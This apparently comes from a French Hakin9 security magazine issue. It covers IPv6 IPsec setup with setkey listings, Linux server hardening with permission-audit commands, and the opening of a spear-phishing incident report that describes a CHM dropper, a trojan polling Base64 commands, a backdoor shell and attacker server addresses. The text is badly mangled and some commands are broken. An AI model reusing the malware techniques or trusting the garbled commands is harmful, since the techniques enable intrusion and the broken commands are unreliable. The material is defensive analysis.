Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 7: hakin9_05_2010_FR

hakin9orgfr 9

sont bien souvent installeacutes par deacutefaut et oublieacutes or dans le cas dapplications WEB ces oublis permettent bien souvent dutiliser des exploits la suppression de ces modules permet de corriger ce problegraveme (en les deacutesinstallant ou la plupart du temps en commentant les lignes dans les fichiers de configuration)

Versions et mise agrave jourLa premiegravere chose que va chercher agrave obtenir un eacuteventuel attaquant sur un systegraveme reacuteseau est la version drsquoappli-cation ou du systegraveme afin de le comparer avec des listes de vulneacuterabiliteacutes existantes Hors dans de nombreux cas ces versions sont facilement identifiables

Exemple sur un serveur FTP lors de la connexion celui-ci va nous indiquer sa version de systegraveme dex-ploitation son nom de logiciel et sa version

Les solutions ne sont pas toujours tregraves simples mais existent

bull la suppression des banniegraveres de connexion ou au moins les rendre anonymes au maximum (requiert parfois une recompilation du binaire)

bull la mise agrave jour constante des applications et des systegravemes (malheureusement les failles 0 days existent)

bull le changement des mots de passe par deacutefaut

Une autre probleacutematique agrave laquelle on ne songe pas toujours lors de la mise agrave jour dun systegraveme il arri-ve bien souvent que le correctif de seacutecuriteacute modifie la configuration de lapplication (par exemple sur Ora-cle lrsquoapplication de certains correctifs reacuteinitialise les paramegravetres de seacutecuriteacute)

Apregraves lapplication dun correctif il est primordial de veacuterifier la configuration de seacutecuriteacute dune application

droits et fichiersDepuis toujours ladministration essaie de prendre en compte les notions de seacutecuriteacute mais oublie bien souvent la gestion des droits sur les fichiers Sous les systegravemes Linux il existe les droits standards (lectureeacutecritureexeacute-cution avec la gestion utilisateurgroupeautre) et les droits eacutetendus (Suid Sticky Bit ACL)

Eacutenumeacuterer les fichiers et reacutepertoires avec des droits en eacutecriture pour tous

fi nd type d -perm -2 -exec ls -lcd

Pour un systegraveme multi-utilisateurs avec des partages de fichiers le systegraveme de droits standard nest pas suf-fisant Pour ce faire il existe les ACL (commandes getfacl et setfacl) qui permettent une gestion de droits plus fine sur les fichiers

Dans la majoriteacute des cas un administrateur ne pen-sera pas agrave faire un getfacl sur un fichier il fera un simple ls -al et passera donc devant des droits peut ecirctre trop

9

5201010

dossier

permissifs crsquoest pour cela quil est recommandeacute dutili-ser au strict besoin ce genre de droits

Les droits setuid et setgid (repreacutesenteacutes par un s) permettent agrave un programme de sexeacutecuter avec les droits de son proprieacutetaire par exemple la commande passwd permet agrave un simple utilisateur de modifier son mot de passe (par deacutefaut) dans le fichier etcpasswd ou etcshadow (voir Figure 3)

Ces droits sont agrave lorigine dun tregraves grand nombre de failles de seacutecuriteacute locales qui permettent leacuteleacutevation de privilegraveges sous Linux (passer dun simple utilisateur agrave root) il est donc fortement recommandeacute de lutiliser au strict minimum

Liste des fichiers ougrave les droits SUID et SGUID sont positionneacutes

find ( -perm -4000 -o -perm -2000 ) -exec -l -lc

Le sticky bit (bit de collage) est un droit compleacutemen-taire positionneacute sur un fichier il permet de garder le fi-chier en meacutemoire si par contre il est positionneacute sur un reacutepertoire (exemple tmp) les fichiers creacuteeacutes dans ce reacutepertoire ne pourront ecirctre supprimeacutes que par le pro-prieacutetaire du fichier

Drsquoautres attributs de fichiers (positionneacutes avec la commandes chattr et visibles avec lsattr) peuvent ecirctre appliqueacutes

bull a on peut seulement ajouter des donneacutees au fi-chier

bull c compresseacute automatiquementbull i ne peut ecirctre modifieacute (ni supprimeacute ni renommeacute)bull s remplacement de tous les blocs du fichier lors

de la suppression par des 0bull u sauvegarde du fichier en cas de suppression

Exemple drsquoutilisation

bull chattr +i mon _ fichier ajoute lattributbull chattr -i mon _ fichier supprime lattributbull chattr =i mon _ fichier ne laisse que lattribut

La virtualisationLa reacutepartition de charge par virtualisation est de plus en plus utiliseacutee elle permet sur un serveur suffisamment puissant deacutemuler plusieurs serveurs (par exemple dobtenir sur une mecircme machine plusieurs controcircleurs de domaine) Ces architectures sont assez reacutecentes et geacuteneacuteralement mal maicirctriseacutees par les administrateurs (voir Figure 4)

Figure 4 Virtualisation

regravegles de seacutecurisation

hakin9orgfr 11

La seacutecurisation et la mise agrave jour de serveursma-chines virtuels doit ecirctre consideacutereacutee de la mecircme maniegravere que pour des serveurs physiques ils sont bien souvent oublieacutes Sous Linux il existe plusieurs logiciels de virtualisation VIRTUALBOX VMWARE Xen Qemu(Qemu et VIRTUALBOX sont gratuits mais ne sont pas optimiseacutes pour des CLUSTERS) Il est aussi possible dutiliser une machine virtuelle pour tester les politiques de seacutecuriteacute avant de les appliquer sur un serveur en distribution Le fait quune machine soit virtuelle ne doit pas limiter la maniegravere de la seacutecuriser il faut consideacuterer que cest une machine physique avec quand mecircme quelques atouts (notamment la faciliteacute de remplacement en quelques commandes la machines virtuelle est re-monteacutee agrave son original)

Un cœur de reacuteseau virtualiseacute apporte t-il plus de seacutecuriteacute qursquoune batterie de machineAgrave ce genre de question le normand qui sommeille en moi aurait tendance agrave reacutepondre oui et non Il faut bien comprendre le fonctionnement si je mets en place une virtualisation de serveur mes serveurs pour communi-quer entre eux vont communiquer sans passer par le reacuteseau (en fait la partie reacuteseau entre les serveurs est elle

aussi virtualiseacutee) donc la partie habituellement physique entre mes serveurs (cacircbles reacuteseaux et eacuteleacutements actifs) qui peut engendrer des failles de seacutecuriteacute de lrsquointer-ception de communication nrsquoa plus lieu drsquoecirctre (bien sucircr drsquoautres possibiliteacutes drsquointerceptions sont possibles via des applications tiers mais beaucoup moins discregravetes)

Drsquoun autre cocircteacute si une des machines virtuelles est compromise il est tregraves facile de lrsquoisoler et de remettre sa fonction en place (des routines automatiques exis-tent) mais le problegraveme vient de la machine hocircte elle est accessible du reacuteseau il est donc possible de la com-promettre ce qui revient agrave compromettre lrsquoensemble des machines virtuelles (voir Figure 5)

Journalisation et sauvegardesLa journalisation et lrsquoenregistrement des eacutevegravenements des applications sont geacutereacutes par deacutefaut par SYSLOG (configureacute via le fichier etcsyslogdconf) il permet drsquoeffectuer une centralisation des journaux drsquoaudit ainsi qursquoune gestion par niveau de criticiteacute (par deacutefaut ils sont stockeacutes dans varloglog)

Ses diffeacuterents niveaux

bull emerg kernel panic systegraveme HS bull alert doit ecirctre corrigeacute immeacutediatement

Figure 5 Exemple de communication entre eacuteleacutements du cluster

Avec Virtualisation Sans Virtualisation

Reacuteseaude lrsquoenterprise

Reacuteseaude lrsquoenterprise

5201012

dossier

bull crit panne mateacuteriellebull err erreur geacuteneacuteriquebull warning avertissementbull notice avertissement neacutecessitant un traitement

particulierbull info informationbull debug deacutebogage

Certains de ces niveaux ne doivent ecirctre utiliseacutes que dans le cas de deacuteveloppement drsquoapplication ou tests de fonctionnement (info et debug) de mecircme il est tregraves fortement conseilleacute de limiter ces informations au strict besoin Le fait de tout journaliser produirait des jour-naux drsquoune taille tregraves importante qui seraient totale-ment inexploitables

bull Atteinte de la taille maximum du support de stocka-ge plus aucune information ne sera journaliseacutee (si une option drsquoeacutecrasement est activeacutee risque de per-te drsquoinformations)

bull Tri et exploitation beaucoup trop longs (imaginez la journalisation drsquoune journeacutee qui prend plusieurs jours agrave analyser)

Il est donc primordial drsquoappliquer une journalisation adapteacutee au mode drsquoutilisation un mode debug peut ecirctre utiliseacute pour analyser le bon fonctionnement drsquoune application mais il ne doit pas ecirctre constamment acti-veacute

La protection des journaux est aussi essentielle la derniegravere chose que fera un attaquant apregraves srsquoecirctre intro-duit chez vous est drsquoeffacer ses traces un attribut de protection sur les fichiers est donc tregraves important (voir le chapitre preacuteceacutedent Droits et fichiers)

Quel est lrsquointeacuterecirct de la journalisation

bull Comme eacutenonceacute preacuteceacutedemment dans le cas de test du fonctionnement drsquoune application

bull Pour deacutetecter lrsquoorigine de problegravemes sur la machi-ne

bull Pour tracer les actions (sur le systegraveme dans une applicationhellip)

bull Afin de deacutetecter des agissements anormauxbull Pour proteacuteger lrsquoadministrateur la socieacuteteacute en vertu

des lois (respect des lois)

Mais la journalisations ne fait pas tout il faut aussi ef-fectuer des sauvegardes des sauvegardes systegravemes (par exemple avant une modification majeure reacutegu-liegraverement pour reacutecupeacuterer facilement apregraves un crash) mais aussi des journaux drsquoaudit Bien sucircr ces sauve-gardes doivent ecirctre proteacutegeacutees et deacutelocaliseacutees

En geacuteneacuteral la dureacutee de conservation des sauvegardes (journaux bien que systegravemes seraient un plus) doit ecirctre entre 1 agrave 2 ans (leacutegalement) permettant une reacuteponse aux requecirctes judiciaires

seacutecuriteacute et continuiteacuteUn systegravemes nrsquoest jamais complegravetement sucircr Lrsquohomme (ou la femme) le meilleur du monde ne pourra jamais seacutecuriser un systegraveme de maniegravere absolue

Il y a quand mecircme des moyens afin drsquoatteindre un niveau de seacutecuriteacute assez convenable

bull La mise en place de politique de seacutecuriteacutebull Effectuer de la veille technologiquebull Effectuer reacuteguliegraverement des audits de seacutecuriteacute sur

les systegravemesbull Le respect par tous des regravegles de seacutecuriteacute (le vi-

rus introduit sur le reacuteseau vient dans la majoriteacute des cas du grand chef ou des administrateurs locaux

bull Sensibiliser encore et encore

Bien sucircr cette liste nrsquoest pas exhaustive

ConclusionLa seacutecuriteacute dun systegraveme ne deacutepend pas que de sa mise agrave jour il deacutepend eacutenormeacutement de la maniegravere dont on administre ses service Que ce soit pour un serveur dune grande entreprise ou votre serveur agrave la maison la seacutecurisation de votre serveur ne sera jamais fini effectuez une veille technologique et appliquez la seacutecu-risation par laquo laccegraves au strict besoins raquo et vous aurez eacuteviteacute un grand nombre dattaque Malheureusement vous ne serrez jamais proteacutegeacute contre les nouvelles failles applicatives et ceux mecircme avec une infrastruc-ture conseacutequente

La seacutecuriteacute nest quun deacutebut son application na pas de fin

Agrave ProPos de LAUTeUrAutodidacte depuis plus de dix ans dans le domaine du deacuteve-loppement lauteur e ectue des audits de seacutecuriteacute informati-que pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

NoTe regravegles de bonnes conduites agrave garder sur ces systegravemes bull Le cloisonnement des mots de passe (le mecircme mot de

passe ne doit pas ecirctre utiliseacute entre les machines virtuelles et la machine physique)

bull La mise agrave jour des systegravemes en portant une attention particuliegravere sur la stabiliteacute du systegraveme maicirctre (machine physique)

bull Lrsquoapplication de droits restreints agrave lrsquoadministration des machines virtuelles (seul un administrateur doit pouvoir reacuteinitialiser une machine la dupliquer lrsquoexporter etc)

5201014

attaque

En regravegle geacuteneacuterale lrsquoobjectif dun attaquant est drsquoobtenir des informations sensibles sur un utili-sateur Mais il peut eacutegalement srsquoagir drsquoatteindre

des reacuteseaux speacutecifiques Bien souvent le pirate reacuteussit agrave convaincre lrsquoutilisateur de teacuteleacutecharger et drsquoexeacutecuter une piegravece jointe frauduleuse ou drsquointeragir avec lui

Dans le cadre de cet article et du rapport drsquoanalyse nous analyserons une attaque de type spear-phishing aborderons les meacutethodes utiliseacutees et lrsquoorigine de lrsquoatta-que Dans ce rapport une attaque par spear-phishing a eacuteteacute bloqueacutee et des actions ont eacuteteacute mises en œuvre pour comprendre les principes de fonctionnement de lrsquoat-taque Ce rapport examine les meacutecanismes utiliseacutes pour lattaque les outils de deacutesassemblage et les caracteacuteristi-ques qui ont permis aux utilisateurs de srsquoen preacutemunir

Nous avons utiliseacute plusieurs techniques drsquoinvestigation une analyse statique pour examiner lrsquoensemble des fichiers des outils comme IDA Pro Radare et Hiew pour lrsquoanalyse des fichiers binaires Nous avons eacutegalement analyseacute le malware agrave lrsquoexeacutecution en utilisant des machines virtuelles et des outils drsquoanalyse dynamiques comme Immunity De-bugger Python et Fiddler Des exeacutecutables ont eacutegalement

eacuteteacute modifieacutes pour permettre la simulation dun C amp C et linteraction eacutetant observeacutee avec la machine virtuelle Enfin la reconnaissance du reacuteseau de base a eacuteteacute effectueacutee pour surveiller les systegravemes geacutereacutes par lattaquant

Avec une attaque par spear-phishing et des techniques drsquoingeacutenierie sociale un attaquant peut aiseacutement envoyer un cheval de troie pour prendre les commandes drsquoun site Entre temps lrsquoutilisateur a mis agrave jour le site avec une commande de type download (teacuteleacutechargement) qui agrave son tour a permis au cheval de troie de creacuteer une bac-kdoor Une backdoor est une commande shell basique qui permet agrave un attaquant drsquoacceacuteder agrave un hocircte au niveau du systegraveme drsquoexploitation et ainsi cibler des reacuteseaux speacute-cifiques Le reste de cet article traitera de la reacuteponse agrave lattaque et de lanalyse des eacuteleacutements reacutecupeacutereacutes

une attaque par eacutetapes ndash analyse fonctionnelleDans cette rubrique nous allons expliquer en deacutetail ce qursquoest une attaque par spear-phishing Dans la pre-miegravere partie nous nous inteacuteresserons agrave la phase ougrave lrsquoattaquant envoie un e-mail avec une piegravece jointe frau-duleuse Cette piegravece jointe nrsquoest autre qursquoun cheval de troie qui permet de prendre le controcircle du site Lrsquoeacutetape suivante consiste pour le malware agrave teacuteleacutecharger et

Rapport drsquoanalyse drsquoune attaque par spear-phishing

Le Spear-Phishing est un phishing cibleacute lattaque est techniquement similaire au phishing mais cible un petit nombre de victimes par courrier eacutelectronique Lrsquoattaque varie selon les intentions du pirate qui lrsquoinitie

Cet aRtICLe eXPLIquebull Analyse drsquoune attaque de type spear-phishing

Ce qursquoIL Faut SaVOIRbull Langage Python

adam Pridgen Matthew Wollenweber

Figure 1 Appel du fichier CHM agrave lrsquoexeacutecutable svchostexe Figure 2 Cleacute de registre relative agrave lrsquoemplacement du malware

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 15

Lorsque le programme est exeacutecuteacute une cleacute est enre-gistreacutee dans le registre de Windows pour lancer auto-matiquement le troyen au deacutemarrage de lrsquoordinateur

La figure 2 repreacutesente la cleacute de registre et son emplace-ment La cleacute est une cleacute de deacutemarrage peu utiliseacutee Lors-que la cleacute de registre est deacutefinie le fichier binaire reacutecupegravere lrsquohocircte et lrsquoURL qui permettront drsquoenvoyer des commentai-res sur le site Web Les commandes inteacutegreacutees agrave la page sont encodeacutees en Base 64 et sont comprises entre les balises lt-- hellip --gt Lrsquoanalyse statique du troyen reacutevegravele qursquoil nrsquoy a que quelques commandes connues dont

bull sleepbull downloadbull connectbull cmdbull quit

En cours drsquoanalyse seules les commandes sleep et down-load ont eacuteteacute utiliseacutees par lrsquoattaquant La commande sleep oblige au programme agrave ne rien faire pendant un laps de temps deacutetermineacute selon le paramegravetre passeacute agrave la fonction Lrsquoanalyse live a montreacute que la page de lrsquoattaquant eacutetait reacuteactualiseacutee toutes les 10 minutes La commande down-

installer une backdoor crsquoest-agrave-dire une porte deacuterobeacutee Nous discuterons eacutegalement de la porte deacuterobeacutee

Charges virales primaires et secondairesLa premiegravere eacutetape drsquoune attaque par spear-phishing correspond agrave lrsquoenvoi drsquoun e-mail laquo creacutedible raquo en utilisant des techniques drsquoingeacutenierie sociale Cet e-mail a pour but de manipuler lrsquoutilisateur en gagnant sa confiance ou en attisant sa curiositeacute Cette manipulation se sert de vraies ou fausses informations en plus drsquoinformations personnelles pour faire croire agrave lrsquoutilisateur qursquoil srsquoagit drsquoun e-mail de confiance Lorsque lrsquoutilisateur accepte lrsquoattaquant poursuit le deacuteroulement de son plan Dans le cas preacutesent nous nous inteacuteresserons uniquement agrave la piegravece jointe En effet les autres sections contiennent des informations personnelles et donc sensibles

La piegravece jointe contient un cheval de troie Avant lrsquoen-voi de lrsquoe-mail lrsquoattaquant a pris le soin de se renseigner sur lrsquoentreprise etou son utilisateur Le contenu de lrsquoe-mail est donc speacutecifique lrsquoutilisateur est suffisamment confiant pour ouvrir la piegravece jointe Lorsquelle est ouverte un cheval de troie est exeacutecuteacute et se lance en tacircche de fond sur la machine cible Dans le cas preacute-sent la piegravece jointe est au format CHM (fichier drsquoaide Microsoft compileacute en HTML) qui permet drsquoinstaller et de lancer le processus malveillant svchostexe comme illustreacute agrave la figure 3

La figure 1 preacutesente la portion de code CHM qui permet de mettre en œuvre cette technique Le fichier CHM utilise des contenus lieacutes agrave des logiciels open-source pour exploiter des failles sur la machine cible Les contenus regroupent diverses informations sur le site Web ainsi que des donneacutees officielles provenant de la Federal Reserve Board (FRB) relatives au deacutevelop-pement des fonds moneacutetaires mondiaux

Figure 3 Cheval de troie lanceacute par le fichier CHM Figure 4 Commande HTTP HEAD lanceacutee sur tous les serveurs

5201016

attaque

load permet de teacuteleacutecharger et drsquoexeacutecuter un fichier binaire speacutecifieacute par lrsquoattaquant Cette commande autorise un hocirc-te ou FQDN en plus drsquoun URI Elle srsquoappuie sur la librairie WinHTTP pour eacutetablir des connexions reacuteseaux Au bout de 8 heures la page Web de lrsquoattaquant est mise agrave jour avec cette commande et le troyen reccediloit lrsquoemplacement du nouveau binaire agrave exeacutecuter Un script a eacuteteacute utiliseacute agrave la pla-ce du troyen pour suivre et manipuler le site Une fois la commande reccedilue le script a teacuteleacutechargeacute le binaire agrave par-tir du site Une fois le binaire reacutecupeacutereacute il a eacuteteacute analyseacute il srsquoagissait drsquoune porte deacuterobeacutee La prochaine section deacute-taille le mode de fonctionnement de ce binaire

La porte deacuterobeacutee (backdoor)Une fois le nouveau binaire reacutecupeacutereacute sur le site de lrsquoattaquant les proprieacuteteacutes fonctionnelles et autres ca-racteacuteristiques ont eacuteteacute rapidement passeacutees en revue Eacutetant donneacute la dangerositeacute du binaire nous avons creacuteeacute un environnement priveacute et seacutecuriseacute pour reproduire les commandes et controcircler le serveur en interne Le bi-naire a eacuteteacute modifieacute pour srsquoadapter agrave notre CampC eacutemuleacute et srsquoexeacutecuter sur une machine virtuelle Voici les actions qui se produisent sans intervention humaine

une fois la porte deacuterobeacutee installeacutee sur le disque de lrsquohocirc-te lrsquoattaquant exeacutecute le fichier binaire avec WinExec Au cours de cette eacutetape la porte deacuterobeacutee utilise des sockets WSA pour se connecter agrave un serveur hard-coded (codeacute en dur) sur un port speacutecifique Si la porte deacuterobeacutee rencontre des erreurs il nest pas possible de se connecter au ser-veur elle se deacutesinstalle automatiquement en supprimant lrsquoimage de lrsquoexeacutecutable sur le disque avant de se fermer

Si la porte deacuterobeacutee reacuteussit agrave eacutetablir une connexion elle envoie la chaicircne encodeacutee en Base 64 puis se connecte

ensuite le client peut renvoyer nrsquoimporte quel type drsquoinformation La porte deacuterobeacutee dispose de fonctions limiteacutees mais le nombre de ses commandes permet de prendre le controcircle du systegraveme drsquoexploitation La porte deacuterobeacutee accepte les donneacutees en entreacutee des processus par cmd ou des commandes quit (fermeture) Si la com-mande quit est saisie la backdoor effectue lrsquoensemble des actions aboutissant agrave lrsquoauto-destruction

Le cmd invoque un shell basique Dans cet environne-ment les commandes accepteacutees sont celles speacutecifiques aux systegravemes drsquoexploitation des exeacutecutables dans un che-min drsquoaccegraves speacutecifique cd quit et exit La commande cd permet de changer drsquoemplacement de reacutepertoire Les com-mandes quit et exit permettent de quitter le mode shell

Protections systegraveme Spear-PhishingLe systegraveme mis en place pour le phishing semble ecirctre conccedilu pour eacuteviter le maximum de dommages en cas de suppression de lrsquoun de ses composants logiciels En outre les composants malveillants nrsquoont pu ecirctre identifieacutes par les anti-virus (AV) ou des systegravemes de preacuteventions drsquointrusion (IPS) classiques Ces observations deacutecoulent du fait que les serveurs nrsquoont pas eacuteteacute utiliseacutes pendant une semaine apregraves la premiegravere analyse Il y a eu une tentative pour identifier drsquoautres serveurs utilisant des canaux de controcircles similaires par des moteurs de recherche mais ces moteurs ne conservent pas les commentaires HTML comme meacutetadonneacutees Une alternative aux moteurs de recherche est de crawler (parcourir) le Web agrave la recher-che drsquohocirctes pour identifier les commentaires en Base 64 dans chaque page Compte tenu du temps imparti reculer lrsquoeacutecheacuteance nrsquoeacutetait pas envisageable

En ce qui concerne les protections binaires le dropper (injecteur du cheval de troie) de base est un CHM dispo-sant drsquoune charge virale et placeacute sur le disque Le cheval de troie nrsquoest pas en format packageacute et est un binaire non crypteacute il communique avec lrsquoattaquant par texte brute Lorsque le troyen se ferme il ne se deacutesinstalle pas du disque et se lance agrave chaque deacutemarrage du posteFigure 5 Fichiers CHM extraits

Figure 6 Affichage des chaicircnes avec les chaicircnes deacutecodeacutees en Base 64 via Python

Figure 7 Code qui permet de teacuteleacutecharger un fichier du serveur controcircleacute par un attaquant

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 17

La porte deacuterobeacutee teacuteleacutechargeacutee ulteacuterieurement dans lrsquoatta-que est dans un format binaire non proteacutegeacute Il est ni crypteacute ni packageacute La backdoor communique eacutegalement avec les serveurs de lrsquoattaquant en utilisant des canaux de texte brut Contrairement au troyen la porte deacuterobeacutee se deacutesinstalle du disque agrave chaque fermeture ou en cas drsquoerreur

analyse deacutetailleacutee du systegraveme spear-phishingDans ce chapitre nous allons expliquer la meacutethodologie de notre analyse Nous allons deacutecouvrir les outils et processus utiliseacutes pour reacutealiser lrsquoanalyse drsquoune attaque par spear-phishing Lrsquoanalyse met lrsquoaccent sur plusieurs domaines drsquoeacutetude Lrsquoobjectif est drsquoobtenir des preuves tangibles sur lrsquoattaque du pirate informatique afin drsquoy reacutepondre de ma-niegravere approprieacutee et au final rechercher les failles qui per-mettraient de srsquoimmiscer dans le reacuteseau de lrsquoattaquant

Les analyses des diffeacuterentes composantes nont pas eacuteteacute effectueacutees dans lordre ougrave elles sont eacutenonceacutees dans les sous-sections suivantes mais le deacutetail des sous-sec-tions reacutevegravele comment lanalyse est effectueacutee et quelle information est acquise par lanalyse La premiegravere sous-partie traite des informations obtenues suite agrave lrsquoanalyse des serveurs web externes Dans la section suivante nous nous inteacuteresserons plus speacutecifiquement au dropper et au troyen utiliseacutes par les attaquants ainsi qursquoagrave lrsquoana-lyse de la porte deacuterobeacutee reacutecupeacutereacutee sur le site pirate

analyse serveurLa meacutethodologie de lrsquoanalyse des serveurs web eacutetait prin-cipalement en black-box sachant que nous nrsquoavions pas

accegraves aux systegravemes Par ailleurs les phases drsquoanalyse et de reconnaissance devaient rester discregravetes Les reacutesul-tats obtenus suite agrave lrsquoanalyse serveur srsquoappuient sur les meacutetadonneacutees recueillies et les reacutesultats qui en deacutecoulent Les reacutesultats se sont appuyeacutes sur les requecirctes des en-tecirctes HTTP sachant que les trois serveurs tournaient sous Microsoft IIS 60 ce qui signifie que les serveurs tournent avec un systegraveme drsquoexploitation Microsoft Server 2003

Le serveur qui a lanceacute le cheval de troie a lrsquoadresse IP 20322022138 est fonctionnel depuis le Jeudi 16 Oc-tobre 2008 110256 et correspond au domaine techsuscomau Une rapide recherche sur Google montre que ce site est en place depuis un bon moment Par ailleurs une signature McAfee existe pour cette porte deacuterobeacutee et est active depuis Septembre 2007 (Backdoor-DMG McA-fee Inc httpvilnaicomvilcontentv_143081htm) Le serveur qui a heacutebergeacute cette porte deacuterobeacutee a reacutecemment reccedilu des modifications sur sa page index qui semble dis-poser de commandes de controcircle hosting comme illustreacute agrave la Figure 4 Le serveur sur lequel se connecte la porte deacuterobeacutee a pour adresse 6322812819 et est fonctionnel

Figure 8 Cheval de troie contactant un serveur hard-coded pour les commandes

Figure 9 Interception du trafic web du cheval de troie par Fiddler

Figure 10 Tokens utiliseacutes pour identifier les commandes de la page web

Figure 11 Immunity Debugger affiche la commande parseacutee par le cheval de troie

5201018

attaque

depuis le Lundi 25 Juin 2007 130604 GMT Les reacutesultats relatifs aux en-tecirctes HTTP apparaissent agrave la Figure 4

